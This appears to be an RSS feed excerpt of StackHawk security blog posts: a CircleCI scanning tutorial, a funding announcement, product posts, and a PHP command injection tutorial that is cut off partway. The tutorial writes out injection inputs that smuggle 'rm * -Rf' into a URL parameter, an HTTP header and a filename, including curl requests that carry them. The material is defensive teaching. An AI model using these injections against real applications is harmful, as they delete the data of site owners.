&lt;code&gt;Dockerfile&lt;/code&gt; file will be used to build the app and containerize it. There are other files associated with other build systems, such as &lt;code&gt;.gitlab-ci.yml&lt;/code&gt; for GitLab. For our purposes we will focus on these three files:&lt;/p&gt;&lt;ul&gt;&lt;li&gt;&lt;p&gt;&lt;code&gt;stackhawk.yml&lt;/code&gt; – The HawkScan configuration file&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;code&gt;stackhawk-circleci.yml&lt;/code&gt; – An additional HawkScan configuration file that we’ll use to customize our scan for CircleCI&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;code&gt;.circleci/config.yml&lt;/code&gt; – The CircleCI project configuration file&lt;/p&gt;&lt;/li&gt;&lt;/ul&gt;&lt;h4&gt;Configure HawkScan&lt;/h4&gt;&lt;p&gt;Check out the primary configuration file, &lt;code&gt;stackhawk.yml&lt;/code&gt;. We use this project to test lots of command line and automation scenarios, so we put all of our common configs in here, such as authentication parameters (&lt;code&gt;app.authentication&lt;/code&gt;), and scan depth (&lt;code&gt;hawk.spider&lt;/code&gt;).&lt;/p&gt;&lt;p&gt;For my CircleCI pipeline, I wanted to customize a few of these parameters, so I created &lt;code&gt;stackhawk-circleci.yml&lt;/code&gt; and put my overrides there. These will be merged on top of the main configuration file. Here’s the whole file:&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;div&gt;&lt;/div&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;This will override the &lt;code&gt;app.applicationId&lt;/code&gt; and &lt;code&gt;app.host&lt;/code&gt; entries from the main configuration. I’ll be setting the &lt;code&gt;APP_ID&lt;/code&gt; environment variable in the CircleCI build configuration below by using the &lt;code&gt;stackhawk/hawkscan-local&lt;/code&gt; parameter, &lt;code&gt;app-id&lt;/code&gt;.&lt;/p&gt;&lt;h4&gt;Configure CircleCI&lt;/h4&gt;&lt;p&gt;Let’s look at the CircleCI build configuration file.&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;div&gt;&lt;/div&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;Here we pull in the orb as &lt;code&gt;stackhawk&lt;/code&gt;, and use it in our simple workflow, &lt;code&gt;build-and-scan&lt;/code&gt;. We define a single job in the workflow using the orb job, &lt;code&gt;stackhawk/hawkscan-local&lt;/code&gt;. The orb has several optional parameters, and we use three of them.&lt;/p&gt;&lt;ol&gt;&lt;li&gt;&lt;p&gt;&lt;code&gt;docker-network&lt;/code&gt; tells hawkscan-local to start the dockerized scanner to run on a named bridge network called scan_net&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;code&gt;app-id&lt;/code&gt; sets the environment variable, &lt;code&gt;APP_ID&lt;/code&gt;, that we use in &lt;code&gt;stackhawk-circleci.yml&lt;/code&gt; above to dynamically set &lt;code&gt;app.applicationId&lt;/code&gt; at runtime. &lt;i&gt;Be sure to update this with your own app ID!&lt;/i&gt;&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;code&gt;steps&lt;/code&gt; sends a series of job steps to the orb to run on the VM before the scan starts&lt;/p&gt;&lt;/li&gt;&lt;/ol&gt;&lt;p&gt;In our three job steps, we build the app, create a docker bridge network, &lt;code&gt;scan_net&lt;/code&gt;, and start our new container on that network.&lt;/p&gt;&lt;h4&gt;Add your Vulny Django Project to CircleCI&lt;/h4&gt;&lt;p&gt;Head over to &lt;a href=&quot;https://app.circleci.com&quot;&gt;CircleCI&lt;/a&gt; and add your GitHub repo as a project in CircleCI. In your project settings, add your StackHawk API key as a &lt;a href=&quot;https://circleci.com/docs/2.0/env-vars/#secrets-masking&quot;&gt;secret&lt;/a&gt; environment variable, &lt;code&gt;HAWK_API_KEY&lt;/code&gt;. This will automatically get picked up in the &lt;code&gt;stackhawk/hawkscan-local&lt;/code&gt; job and used to send scan results to your StackHawk console.&lt;/p&gt;&lt;h4&gt;Run the Pipeline&lt;/h4&gt;&lt;p&gt;Make a commit to your repo and push it to GitHub to trigger a pipeline run. Then watch the job run in the CircleCI console. Here’s what you should see.&lt;/p&gt;&lt;p&gt;When the job is finished, check your scan results in the StackHawk console. You can go directly to it by copying and pasting the link at the bottom of the Run HawkScan step in CircleCI. It should look like this:&lt;/p&gt;&lt;p&gt;&lt;code&gt;View on StackHawk platform: https://app.stackhawk.com/scans/xxXXXXXX-xXXX-xxXX-XXxX-xXXxxXXXXxXX&lt;/code&gt;&lt;/p&gt;&lt;p&gt;After following that link to the StackHawk console, you should see scan results similar to this:&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;h3&gt;? KAA-KAWW!!!&lt;/h3&gt;&lt;p&gt;☝️ That feeling when your scan works. To experience it yourself, visit &lt;a href=&quot;https://stackhawk.com&quot;&gt;https://www.stackhawk.com&lt;/a&gt; to get signed up for our early access release. Get started on the command line with our helpful &lt;a href=&quot;https://docs.stackhawk.com/&quot;&gt;Docs&lt;/a&gt;, and be sure to check out our &lt;a href=&quot;https://docs.stackhawk.com/continuous-integration/&quot;&gt;integration guides&lt;/a&gt; for other popular CI/CD platforms.&lt;/p&gt;&lt;p&gt;Thanks, and good night!&lt;/p&gt;</content:encoded></item><item><title><![CDATA[Announcing StackHawk’s Series A Financing Round]]></title><guid isPermaLink="false">https://www.stackhawk.com/lp/series-a-financing-announcement</guid><category><![CDATA[StackHawk News]]></category><dc:creator><![CDATA[Joni Klippert]]></dc:creator><content:encoded>&lt;p&gt;Today, I am incredibly excited to announce that StackHawk has raised a $10 million Series A financing round led by Sapphire Ventures. It has been so much fun building StackHawk to this point and I feel privileged to have this new investment to further the StackHawk mission. I am proud of all that we have accomplished to bring us to this point and am far more excited about the opportunity ahead of us!&lt;/p&gt;&lt;h3&gt;Digital Transformation Demands Modern Security Tooling&lt;/h3&gt;&lt;p&gt;Digital transformation is here. Nearly every company in the world is looking to software as a competitive differentiator and teams are shipping software faster than ever before to deliver innovation to customers. While the digital transformation ship set sail long ago, it has only been accelerated by today’s distribution of the workforce. Amongst this massive shift, security is only becoming more important.&lt;/p&gt;&lt;p&gt;Facing this rapid deployment environment, modern engineering teams must be able to deliver *secure* software to their customers quickly. In order to accomplish this, these teams require security tools that integrate into their workflows, that can be deployed in CI/CD, and (perhaps most importantly) that developers want to use. &lt;/p&gt;&lt;p&gt;Security leadership knows that scaling application security within an organization can’t be done through hiring. To build an effective AppSec program, security teams need to scale with paved roads and processes that make it easy for engineering teams to take ownership of secure application delivery. Teams are already making this shift, and the legacy vendors have not been able to keep up. There is massive demand for application security tooling that is developer-centric and built for CI/CD, allowing teams to find and fix their security bugs before they hit production.&lt;/p&gt;&lt;h3&gt;StackHawk: Fifteen Months In&lt;/h3&gt;&lt;p&gt;We just passed the fifteen month mark since founding StackHawk and I could not be more proud of what our team has accomplished. Thinking back to what was simply an idea and a team in July 2019, it is amazing to see where we are at now. Below are a few of my favorite highlights:&lt;/p&gt;&lt;ul&gt;&lt;li&gt;&lt;p&gt;&lt;b&gt;Customers Running AppSec Tests with Every Pull Request:&lt;/b&gt; After working with alpha and beta users for nearly a year, StackHawk was &lt;a href=&quot;https://www.stackhawk.com/blog/general-availability-launch/&quot;&gt;released into general availability&lt;/a&gt; on September 1st. As a founder, it brings a sense of pride as customers choose to spend their security budgets on StackHawk, and we’ve loved onboarding our early customers. We now have a strong (and growing!) base of customers that are running automated application security tests on every PR.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;b&gt;Tying Into Developer Workflows with Integrations:&lt;/b&gt; Our opinion is that a security tool should be out of sight (aside from reassurance via passed builds in CI/CD) until a new vulnerability is found. We have made automated AppSec testing in CI/CD incredibly simple with our integrations with tools such as &lt;a href=&quot;https://docs.stackhawk.com/continuous-integration/jenkins.html&quot;&gt;Jenkins&lt;/a&gt;, &lt;a href=&quot;https://www.stackhawk.com/blog/add-appsec-to-circle-ci-pipeline/&quot;&gt;CircleCI&lt;/a&gt;, &lt;a href=&quot;https://docs.stackhawk.com/continuous-integration/github-actions.html&quot;&gt;GitHub Actions&lt;/a&gt;, and more. When bugs are found, our integrations with developer workflow tools such as &lt;a href=&quot;https://www.stackhawk.com/blog/jira-application-security-integration/&quot;&gt;Jira&lt;/a&gt; and &lt;a href=&quot;https://www.stackhawk.com/blog/slack-integration-announcement/&quot;&gt;Slack&lt;/a&gt; make it easy to manage and collaborate. And we have been highly dedicated to building a top-notch UI for when developers do end up in the StackHawk platform, making it simple to triage and fix bugs on the fly.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;b&gt;Teaming Up with ZAP Open Source Project:&lt;/b&gt; StackHawk is built on the &lt;a href=&quot;https://zaproxy.org&quot;&gt;OWASP ZAP&lt;/a&gt; open source project. We have been committed to the open source since the beginning of the company, but in July we made those ties even deeper when we &lt;a href=&quot;https://www.stackhawk.com/blog/welcoming-zap-founder-simon-bennetts/&quot;&gt;hired the founder of ZAP&lt;/a&gt;, Simon Bennetts. We will continue to invest in open source scanning technology as part of the ZAP community as we build additional functionality around it.&lt;/p&gt;&lt;/li&gt;&lt;/ul&gt;&lt;p&gt;Wow, what a year it has been. And at the same time, I know we are just getting started!&lt;/p&gt;&lt;h3&gt;What We’re Currently Excited About&lt;/h3&gt;&lt;p&gt;With this new investment, we are able to move faster on the opportunities we have before us. There is so much that we are looking forward to, and now we’ll be able to add even more resources to support our goals. Here are a few of the top areas we are excited about:&lt;/p&gt;&lt;ul&gt;&lt;li&gt;&lt;p&gt;&lt;b&gt;Continued Product Development:&lt;/b&gt; With our GA launch, StackHawk is a fully-featured dynamic application security testing platform. That being said, we have big plans to continue to make it better for the developers who use it day in, day out. &lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;b&gt;Go-to-Market Investment:&lt;/b&gt; We have built a product that we are proud to share with the market. I’m obviously biased, but I think we have the best automated AppSec testing tool out there. Now it is time to put resources behind brand awareness so people can find us.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;b&gt;ZAP Community Investment:&lt;/b&gt; We are excited to deepen our relationship with the ZAP community. ZAP is the &lt;a href=&quot;https://www.zaproxy.org/blog/2020-04-02-is-zap-the-worlds-most-popular-web-scanner/&quot;&gt;most widely used&lt;/a&gt; application security scanner in the world. We have a lot to learn from this community, but are also excited to contribute as well. Whether it be direct contributions back to the open source, indirect contributions from StackHawk customers who gain interest in the open source project, or helping teams scale their ZAP usage by layering in StackHawk, we are looking forward to supporting the ZAP community.&lt;/p&gt;&lt;/li&gt;&lt;/ul&gt;&lt;h3&gt;Thank You to Our Investment Partners and Supporters&lt;/h3&gt;&lt;p&gt;As we continue on this journey, I’d like to take this opportunity to thank our investors and supporters. From the beginning, we have worked with some of the best VCs in the business, and we are delighted to be adding &lt;a href=&quot;https://sapphireventures.com/&quot;&gt;Sapphire Ventures&lt;/a&gt; to that mix. We are also grateful to have all of our fantastic existing backers (&lt;a href=&quot;https://foundrygroup.com/&quot;&gt;Foundry Group&lt;/a&gt;, &lt;a href=&quot;https://www.costanoavc.com/&quot;&gt;Costanoa Ventures&lt;/a&gt;, &lt;a href=&quot;https://www.flybridge.com/&quot;&gt;Flybridge Capital&lt;/a&gt;, and &lt;a href=&quot;https://www.matchstickventures.com/&quot;&gt;Matchstick Ventures&lt;/a&gt;) participate in this investment. We are also excited to welcome David Hartwig of Sapphire Ventures and Greg Sands of Costanoa Ventures onto our board of directors.&lt;/p&gt;&lt;p&gt;I would also like to thank our supporters, our early customers, and our wonderful team. We could not do it without you and we are excited to continue working together. If you are not currently connected to the StackHawk community, then let’s chat. Whether you are interested in checking out the &lt;a href=&quot;https://www.stackhawk.com/product/&quot;&gt;product&lt;/a&gt;, &lt;a href=&quot;https://www.stackhawk.com/jobs/&quot;&gt;jobs&lt;/a&gt; at our Denver HQ or remotely, or something else, please reach out!&lt;/p&gt;</content:encoded></item><item><title><![CDATA[Findings Management: Focus on the Security Bugs That Matter]]></title><guid isPermaLink="false">https://www.stackhawk.com/lp/appsec-findings-management</guid><category><![CDATA[Scanning with StackHawk]]></category><dc:creator><![CDATA[Joni Klippert]]></dc:creator><content:encoded>&lt;h3&gt;Introducing Findings Management&lt;/h3&gt;&lt;p&gt;Engineers using StackHawk today on local environments or in the CI pipeline will commonly fix High or Medium severity issues on the fly. It’s easy to do so when you’re in context of the code. But there are also circumstances where you are not ready to action on a particular finding. &lt;/p&gt;&lt;p&gt;It may be the case that expertise of another team member is required to solve the issue in which case a ticket needs to be created to assign the security bug to be included in a sprint. And let’s be honest, not all findings are created equal. While dynamic application security testing is better at limiting the noise of false positive alerts than other types of scanners, it’s possible that your team will deem certain Low findings as noise. The last thing you need as a developer is to continue getting alerted about findings that you’ve already processed.&lt;/p&gt;&lt;p&gt;&lt;b&gt;Quiet the noise and focus on what matters.&lt;/b&gt;&lt;/p&gt;&lt;p&gt;With StackHawk’s new Findings Management, you can process your findings, marking them as Assigned, False Positive, or Risk Accepted. In future scans, these findings will still be tracked and visible in the UI, but only new findings will be positioned to grab your attention. With your findings processed, you can fix net-new security bugs as you develop software. With StackHawk &lt;a href=&quot;https://docs.stackhawk.com/continuous-integration/&quot;&gt;scans in your CI pipeline&lt;/a&gt;, you’ll be alerted when a new bug is introduced and will have confidence in the security of your application when you have passing builds. &lt;/p&gt;&lt;h3&gt;How it Works&lt;/h3&gt;&lt;p&gt;&lt;/p&gt;&lt;h4&gt;Processing Findings&lt;/h4&gt;&lt;p&gt;As you click into a finding, you’ll see a list of the paths where that finding was identified. From this screen, you can click into a specific path to see the details of the finding. This includes the Request and Response payloads, evidence of the finding (when applicable), a button for &lt;a href=&quot;https://www.stackhawk.com/blog/fix-bugs-curl-validation/&quot;&gt;curl Validation&lt;/a&gt;, and Actions you can take on this URL. From this screen, you can process the finding for this particular path.&lt;/p&gt;&lt;p&gt;If you want to take action on multiple paths for that particular finding, you can use the checkboxes on the left to select multiple or all paths and apply the finding more globally. As an example, you may use a third party javascript tool that triggers a &lt;a href=&quot;https://www.zaproxy.org/docs/alerts/10017/&quot;&gt;Cross-Domain JavaScript Source File Inclusion&lt;/a&gt; finding across multiple paths. In this case, you would mark all of those paths as Risk Accepted.&lt;/p&gt;&lt;p&gt;When you take action on a particular finding, you will be prompted to enter comments. This process creates documentation on why the action was taken and allows you to tie it to workflow tools like Jira (hint: our Jira integration is coming soon!). &lt;/p&gt;&lt;h4&gt;Processed Findings on Future Scan Runs&lt;/h4&gt;&lt;p&gt;On future scan runs, the processed findings will still be tracked, but they will not be pushed as actionable items. On the Scans page, you will see processed findings denoted in gray, while actionable (new and unprocessed) findings will be called out.&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;Once you click into the results of a particular scan, you will see a list of findings, with the number of paths denoted by finding status. &lt;/p&gt;&lt;p&gt;Then, once you click into a particular finding, you will see the paths denoted by Status.&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;h3&gt;Finding Status&lt;/h3&gt;&lt;p&gt;Let’s dig into the Finding Status a bit more to learn what the options mean and how you can use them.&lt;/p&gt;&lt;h4&gt;New&lt;/h4&gt;&lt;p&gt;Findings are marked as New when they do not yet have another status assigned. These are items to be fixed or processed with another action to update the status.&lt;/p&gt;&lt;h4&gt;Assigned&lt;/h4&gt;&lt;p&gt;These are findings that have been assigned for review and/or fix in whatever issue tracking tool your team uses. These are items that are in a backlog or are in process for investigation or fix. Deeper integrations with workflow tools such as Jira are coming soon. As you mark a finding as assigned, you can include a link to the associated ticket in the comments.&lt;/p&gt;&lt;h4&gt;Risk Accepted&lt;/h4&gt;&lt;p&gt;Some findings are technically potential security bugs or risks, but for one reason or another, you are electing not to fix them. In our previous example of Cross-Domain JavaScript Source File Inclusion, you may have chosen to include trusted vendors such as New Relic for APM or Segment for event tracking. In this case, you would mark all paths with the included script as Risk Accepted.&lt;/p&gt;&lt;h4&gt;False Positive&lt;/h4&gt;&lt;p&gt;Scan results may include findings that are actually false positives, and thus do not require a fix. These can be marked as false positives to quiet future noise.&lt;/p&gt;&lt;h3&gt;Workflow Suggestion: Assign Initial Findings and Fix New&lt;/h3&gt;&lt;p&gt;One of the challenges with getting started with application security is the backlog of findings that may come from your first scan. The long list of findings can feel daunting and can be a blocker to moving forward.&lt;/p&gt;&lt;p&gt;One option that we recommend to customers is to assign findings from your first scan according to your team’s workflow. This might mean that Medium and Low risk findings go into the engineering backlog for prioritization, and High risk findings are included in the current sprint. Or you may assign all existing items to the security team for their review.&lt;/p&gt;</content:encoded></item><item><title><![CDATA[Developer-Centric Application Security Testing with DAST and SCA]]></title><guid isPermaLink="false">https://www.stackhawk.com/lp/application-security-testing-sca-and-dast</guid><category><![CDATA[Shifting Security Left]]></category><dc:creator><![CDATA[Rebecca Warren]]></dc:creator><content:encoded>&lt;p&gt;Security is shifting left. The domain was once cut-off from engineers, with security teams claiming full ownership of security testing. Developers were only looped in when it came time to start fixing. But, with the advent of developer-centric security tools, we are beginning to overcome these divides.  &lt;/p&gt;&lt;p&gt;If you have begun to add application security testing to your CI/CD pipeline, you likely are reaping the rewards of fixing vulnerabilities pre-merge. Advanced development shops are taking this to the next level by leveraging multiple types of automated security testing in the build pipeline. &lt;/p&gt;&lt;p&gt;What are they finding? Using different types of security tooling together, like SCA and DAST, is the best way to ship secure code fast. &lt;/p&gt;&lt;p&gt;[&lt;i&gt;If you are a developer just starting automated security testing in CI/CD and aren’t sure where to start, check out our&lt;/i&gt; &lt;a href=&quot;https://www.stackhawk.com/blog/how-to-automate-appsec-testing-in-cicd/&quot;&gt;&lt;i&gt;how-to guide&lt;/i&gt;&lt;/a&gt;&lt;i&gt;.&lt;/i&gt;]&lt;/p&gt;&lt;h3&gt;Software Composition Analysis (SCA) Tools &lt;/h3&gt;&lt;p&gt;The most commonly used developer-centric application security tool is Software Composition Analysis (SCA). SCA is great for identifying vulnerabilities in the open source tree within your application, often with automated pull requests to update to patched versions. &lt;/p&gt;&lt;p&gt;These types of vulnerabilities are incredibly pervasive. Seven in every 10 applications were found to have flaws in their open source libraries (on initial scan). And this number continues to climb year over year. 2019 saw a &lt;a href=&quot;https://www.forrester.com/report/The+State+Of+Application+Security+2020/-/E-RES159057&quot;&gt;50% increase&lt;/a&gt; in the number of open source vulnerabilities found compared to 2018. &lt;/p&gt;&lt;p&gt;As open source usage skyrockets in software development, these tools have become extremely popular, with companies such as &lt;a href=&quot;https://snyk.io/&quot;&gt;Snyk&lt;/a&gt;, &lt;a href=&quot;https://github.com/dependabot&quot;&gt;GitHub Dependabot&lt;/a&gt;, and &lt;a href=&quot;https://fossa.com/&quot;&gt;FOSSA&lt;/a&gt; leading the charge.&lt;/p&gt;&lt;p&gt;Anyone using open source should be using SCA! &lt;/p&gt;&lt;p&gt;But don’t stop there. &lt;/p&gt;&lt;h3&gt;Dynamic Application Security Testing  (DAST)&lt;/h3&gt;&lt;p&gt;While you may not be familiar with the name Dynamic Application Security Testing, you have likely encountered this form of testing via penetration testing engagements. Whether run by an internal security team or an external firm, these historically have been manual tests run against the production application.&lt;/p&gt;&lt;p&gt;New tools, however, are becoming available that make it possible to run automated DAST tooling in CI/CD, right along SCA. &lt;/p&gt;&lt;p&gt;While SCA looks at your source code, developer-centric DAST examines &lt;b&gt;your&lt;/b&gt; specific application and your underlying APIs. It allows you to find vulnerabilities your team may have introduced, like &lt;a href=&quot;https://www.stackhawk.com/blog/what-is-cross-site-scripting-xss/&quot;&gt;cross-site scripting&lt;/a&gt; or external redirects. &lt;/p&gt;&lt;p&gt;This is hugely important for developers trying to ship secure code because DAST looks at an application holistically. The majority of the &lt;a href=&quot;https://owasp.org/www-project-top-ten/&quot;&gt;top web application security risks&lt;/a&gt; as classified by OWASP are found by DAST, not SCA.&lt;/p&gt;&lt;p&gt;These types of issues are pervasive. 69.1% of applications have more home-grown vulnerabilities than open source vulnerabilities. The code we are writing ourselves isn’t as secure as we like to think.&lt;/p&gt;&lt;p&gt;As applications evolve to more modern formats, vulnerabilities don’t stop. &lt;a href=&quot;https://www.forrester.com/report/Show+Dont+Tell+Your+Developers+How+To+Write+Secure+Code/-/E-RES144174?objectid=RES144174#&quot;&gt;Malicious actors&lt;/a&gt; have begun to exploit newer attack vectors such as API endpoints and unvalidated API payloads. Automated tooling makes scanning sophisticated services simple so you can be sure vulnerabilities are caught before they are exploitable.&lt;/p&gt;&lt;p&gt;Lastly, dev-centric DAST tools give developers the right information to find vulnerabilities and triage them appropriately. If a vulnerability is of high criticality, you have the power to find and fix immediately. For low risk vulnerabilities, you can mark them as something like ‘False Positive’ or ‘Risk Accepted’. Modern tools reduce noise by only grabbing your attention with new or untriaged findings. &lt;/p&gt;&lt;p&gt;Find, fix and continue developing. &lt;/p&gt;&lt;h3&gt;SCA + DAST = Where the Magic Happens&lt;/h3&gt;&lt;p&gt;To truly ensure that you are delivering secure applications, you should be using SCA and DAST together.&lt;/p&gt;&lt;p&gt;SCA gives you a picture of open source vulnerabilities so you have a strong foundation to develop on top of. &lt;/p&gt;&lt;p&gt;DAST gives you a look at what vulnerabilities are actually exposed in your specific service so you can have confidence that what you have created is secure. &lt;/p&gt;&lt;p&gt;By deploying the two together you are protecting yourself from the most common vulnerabilities and making it easier to fix security bugs when you do find them. Teams using multiple scan types find vulnerabilities faster. &lt;/p&gt;&lt;p&gt;If the scans are automated like with SCA and developer-centric DAST, you can expect a 17.5 day faster fix time. Stop asking which type of security tool you should use and start thinking about how to use them together in CI/CD.&lt;/p&gt;&lt;p&gt;Put the right tools in your security arsenal and you will find and fix vulnerabilities faster. Then, get back to product development.&lt;/p&gt;</content:encoded></item><item><title><![CDATA[PHP Command Injection: Examples and Prevention]]></title><guid isPermaLink="false">https://www.stackhawk.com/lp/php-command-injection</guid><category><![CDATA[Vulnerabilities and Remediation]]></category><dc:creator><![CDATA[StackHawk]]></dc:creator><content:encoded>&lt;p&gt;There are many ways for a malicious user to take advantage of vulnerable websites. One of them is called command injection.&lt;/p&gt;&lt;p&gt;Today, you’ll learn what command injection is, how an attacker could use it to jeopardize your web application, and how you can prevent that from happening in your PHP applications.&lt;/p&gt;&lt;p&gt;Let’s get right to it!&lt;/p&gt;&lt;blockquote&gt;&lt;p&gt;A command injection attack is based on the execution of arbitrary (and most likely malicious) code on the target system.&lt;/p&gt;&lt;/blockquote&gt;&lt;h3&gt;&lt;b&gt;What Is Command Injection?&lt;/b&gt;&lt;/h3&gt;&lt;p&gt;A command injection attack is based on the execution of arbitrary (and most likely malicious) code on the target system.&lt;/p&gt;&lt;p&gt;In other words, it’s a way to use an application designed to do one thing for a completely different purpose.&lt;/p&gt;&lt;p&gt;Let’s take the example of a simple contact form. The purpose of such an application is simple: to allow people to leave their contact information for someone inside the company to get in touch. An attacker might want to use the application to steal information about other applicants, for example. And they might achieve that goal by &lt;i&gt;injecting&lt;/i&gt; malicious code.&lt;/p&gt;&lt;h3&gt;&lt;b&gt;How Is Command Injection Performed?&lt;/b&gt;&lt;/h3&gt;&lt;p&gt;In order for a command injection attack to occur, three things must happen at once:&lt;/p&gt;&lt;ol&gt;&lt;li&gt;&lt;p&gt;An application is using some function to make a call to a system shell.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;The application is passing unsafe/unvalidated data to such a call.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;An attacker is aware of this fact and acts on this knowledge.&lt;/p&gt;&lt;/li&gt;&lt;/ol&gt;&lt;h3&gt;&lt;b&gt;Examples of Command Injection in PHP&lt;/b&gt;&lt;/h3&gt;&lt;p&gt;These three PHP functions, if not used safely, can lead to the presence of this vulnerability:&lt;/p&gt;&lt;ul&gt;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;https://www.php.net/manual/en/function.exec.php&quot;&gt;&lt;b&gt;exec&lt;/b&gt;&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;https://www.php.net/manual/en/function.passthru.php&quot;&gt;&lt;b&gt;passthru&lt;/b&gt;&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;https://www.php.net/manual/en/function.system.php&quot;&gt;&lt;b&gt;system&lt;/b&gt;&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;&lt;/ul&gt;&lt;p&gt;The problem lies in the fact that all of them take an arbitrary string as their first parameter and simply &lt;i&gt;forward&lt;/i&gt; it to the underlying operating system.&lt;/p&gt;&lt;p&gt;This doesn’t imply any risk if the string is written by the programmer (aka you), like this:&lt;/p&gt;&lt;div&gt;&lt;/div&gt;&lt;p&gt;But, since the &lt;b&gt;&lt;code&gt;$command&lt;/code&gt;&lt;/b&gt; variable is a string, nothing prevents you from writing something like the below:&lt;/p&gt;&lt;div&gt;&lt;/div&gt;&lt;p&gt;Which would, of course, produce the exact same result (since the value of &lt;b&gt;&lt;code&gt;$command&lt;/code&gt;&lt;/b&gt; would be &lt;b&gt;“ls -l”&lt;/b&gt;).&lt;/p&gt;&lt;p&gt;So far, so good, right?&lt;/p&gt;&lt;p&gt;Now, let’s look at the following example:&lt;/p&gt;&lt;div&gt;&lt;/div&gt;&lt;p&gt;Here the command is being created from two sources: a fixed string (&lt;b&gt;“ls “&lt;/b&gt;) and a URL parameter (&lt;b&gt;&lt;code&gt;$_GET[&amp;#39;modifiers&amp;#39;]&lt;/code&gt;&lt;/b&gt;).&lt;/p&gt;&lt;p&gt;This means that the actual command that’s about to be executed depends on user input.&lt;/p&gt;&lt;p&gt;Let’s say someone issues a request such as &lt;b&gt;&lt;code&gt;http://yourdomain.com?modifiers=-l&lt;/code&gt;&lt;/b&gt;.&lt;/p&gt;&lt;p&gt;When the code gets executed, the value of &lt;b&gt;&lt;code&gt;$_GET[&amp;#39;modifiers]&lt;/code&gt;&lt;/b&gt; will be &lt;b&gt;“-l”&lt;/b&gt;, which will result in the command&lt;b&gt; “ls -l”&lt;/b&gt;.&lt;/p&gt;&lt;p&gt;No harm done, right?&lt;/p&gt;&lt;p&gt;But what if the user isn’t so nice?&lt;/p&gt;&lt;p&gt;What if they were to issue a request such as &lt;b&gt;&lt;code&gt;http://yourdomain.com?-l%3B+rm+%2A+-Rf&lt;/code&gt;&lt;/b&gt;?&lt;/p&gt;&lt;p&gt;The resulting command would be &lt;b&gt;“ls -l; rm * -Rf”&lt;/b&gt;.&lt;/p&gt;&lt;p&gt;If you know a little bit about the Linux console, you should recognize the command &lt;b&gt;“rm * -Rf”&lt;/b&gt; … and be very scared. (In case you’re not familiar with the Linux console, that command means “delete every file in this directory and its subdirectories.”)&lt;/p&gt;&lt;p&gt;It’s very much unlikely that someone will issue such a request &lt;i&gt;by mistake&lt;/i&gt;.&lt;/p&gt;&lt;p&gt;But if someone wants to break your site and they know a little PHP (or any other programming language), it’s easy to create such a string.&lt;/p&gt;&lt;p&gt;In case you’re wondering where &lt;b&gt;“-l%3B+rm+%2A+-Rf” &lt;/b&gt;comes from, it’s the result of the following:&lt;/p&gt;&lt;p&gt;&lt;code&gt;urlencode(&amp;quot;-l; rm * -Rf&amp;quot;);&lt;/code&gt;&lt;/p&gt;&lt;h4&gt;&lt;b&gt;How Can an Attacker Craft a Command Injection Request?&lt;/b&gt;&lt;/h4&gt;&lt;p&gt;Probably the easiest way is to use your own forms.&lt;/p&gt;&lt;p&gt;In the example above, imagine there’s a previous page that looks like this:&lt;/p&gt;&lt;div&gt;&lt;/div&gt;&lt;p&gt;All the attacker would have to do is fill the field &lt;b&gt;&lt;code&gt;modifiers&lt;/code&gt;&lt;/b&gt; with &lt;b&gt;“-l%3B+rm+%2A+-Rf”&lt;/b&gt; and hit “Get file names.”&lt;/p&gt;&lt;p&gt;Not too complicated, right?&lt;/p&gt;&lt;p&gt;If they wanted to go from the command line, they could use a simple tool such as &lt;a href=&quot;https://curl.se/&quot;&gt;cURL&lt;/a&gt;, like this:&lt;/p&gt;&lt;p&gt;&lt;code&gt;curl http://yourdomain.com?modifiers=-l%3B+rm+%2A+-Rf&lt;/code&gt;&lt;/p&gt;&lt;p&gt;The advantage for the attacker of using this mechanism is that, by using this kind of tool, it’s really easy to automate the attack.&lt;/p&gt;&lt;h4&gt;&lt;b&gt;Where Does Unsafe Data Come From?&lt;/b&gt;&lt;/h4&gt;&lt;p&gt;Unsafe data can come from several different sources. So far, we’ve discussed URL parameters, but an attacker can use any available way to transfer information to your application, such as the following:&lt;/p&gt;&lt;ul&gt;&lt;li&gt;&lt;p&gt;&lt;code&gt;POST&lt;/code&gt;&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;COOKIES&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;HTTP headers&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;Uploaded files&lt;/p&gt;&lt;/li&gt;&lt;/ul&gt;&lt;p&gt;The &lt;code&gt;POST&lt;/code&gt; example would be really similar to the &lt;code&gt;GET&lt;/code&gt; one, so I’ll skip it to show you how this attack could be performed using HTTP headers.&lt;/p&gt;&lt;p&gt;It all begins with your code using such information in order to put together a command that will be issued to the operating system:&lt;/p&gt;&lt;div&gt;&lt;/div&gt;&lt;p&gt;Now, all it takes for the attack to be successful is the addition of a carefully crafted request like this one:&lt;/p&gt;&lt;p&gt;&lt;code&gt;curl http://yourdomain.com -H &amp;quot;X-file: a .; rm * -Rf //&amp;quot;&lt;/code&gt;&lt;/p&gt;&lt;p&gt;A very similar situation can be found if you have a script that looks somewhat like this:&lt;/p&gt;&lt;div&gt;&lt;/div&gt;&lt;p&gt;And someone uploads a file containing something like this:&lt;/p&gt;&lt;p&gt;&lt;code&gt;file.txt; rm * 